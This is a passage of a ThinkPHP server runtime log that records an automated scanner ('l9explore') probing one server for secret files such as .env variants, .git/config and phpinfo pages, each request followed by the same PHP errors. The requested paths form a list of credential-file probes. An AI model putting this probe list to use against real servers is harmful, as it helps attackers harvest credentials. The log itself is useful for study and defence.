] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'www', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:02+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.bak [运行时间:0.002173s] [吞吐率:460.15req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.bak', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:02+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.production [运行时间:0.002151s] [吞吐率:464.90req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.production', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:03+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.save [运行时间:0.002036s] [吞吐率:491.19req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.save', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:04+08:00 ] 179.43.168.146 GET 59.110.137.245/server/.git/config [运行时间:0.002052s] [吞吐率:487.31req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'server', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:04+08:00 ] 179.43.168.146 GET 59.110.137.245/php-info.php [运行时间:0.002181s] [吞吐率:458.49req/s] [内存消耗:132.28kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'php-info.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:05+08:00 ] 179.43.168.146 GET 59.110.137.245/assets../.git/config [运行时间:0.002016s] [吞吐率:496.02req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'assets..', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:06+08:00 ] 179.43.168.146 GET 59.110.137.245/api/.git/config [运行时间:0.002183s] [吞吐率:458.04req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'api', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:06+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.dev [运行时间:0.002285s] [吞吐率:437.64req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.dev', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:07+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.example [运行时间:0.002108s] [吞吐率:474.36req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.example', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:07+08:00 ] 179.43.168.146 GET 59.110.137.245/.git/config [运行时间:0.002079s] [吞吐率:481.00req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.git', 2 => 'config', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:08+08:00 ] 179.43.168.146 GET 59.110.137.245/pinfo.php [运行时间:0.002057s] [吞吐率:486.18req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'pinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:09+08:00 ] 179.43.168.146 GET 59.110.137.245/src/.git/config [运行时间:0.002114s] [吞吐率:473.02req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'src', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:09+08:00 ] 179.43.168.146 GET 59.110.137.245/dashboard/phpinfo.php [运行时间:0.002123s] [吞吐率:471.06req/s] [内存消耗:132.40kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'dashboard', 2 => 'phpinfo.php', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:10+08:00 ] 179.43.168.146 GET 59.110.137.245/.env [运行时间:0.002082s] [吞吐率:480.28req/s] [内存消耗:132.27kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:10+08:00 ] 179.43.168.146 GET 59.110.137.245/dev/.git/config [运行时间:0.001973s] [吞吐率:506.86req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'dev', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:11+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.backup [运行时间:0.002088s] [吞吐率:478.97req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:12+08:00 ] 179.43.168.146 GET 59.110.137.245/api/.env [运行时间:0.001987s] [吞吐率:503.28req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'api', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:13+08:00 ] 179.43.168.146 GET 59.110.137.245/config/.env [运行时间:0.001976s] [吞吐率:506.07req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:13+08:00 ] 179.43.168.146 GET 59.110.137.245/bootstrap.yml [运行时间:0.002059s] [吞吐率:485.62req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bootstrap.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:14+08:00 ] 179.43.168.146 GET 59.110.137.245/media../.git/config [运行时间:0.002066s] [吞吐率:484.05req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'media..', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:14+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.local [运行时间:0.002016s] [吞吐率:496.02req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:15+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.prod [运行时间:0.002026s] [吞吐率:493.56req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.prod', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:10:16+08:00 ] 179.43.168.146 GET 59.110.137.245/old_phpinfo.php [运行时间:0.002081s] [吞吐率:480.56req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 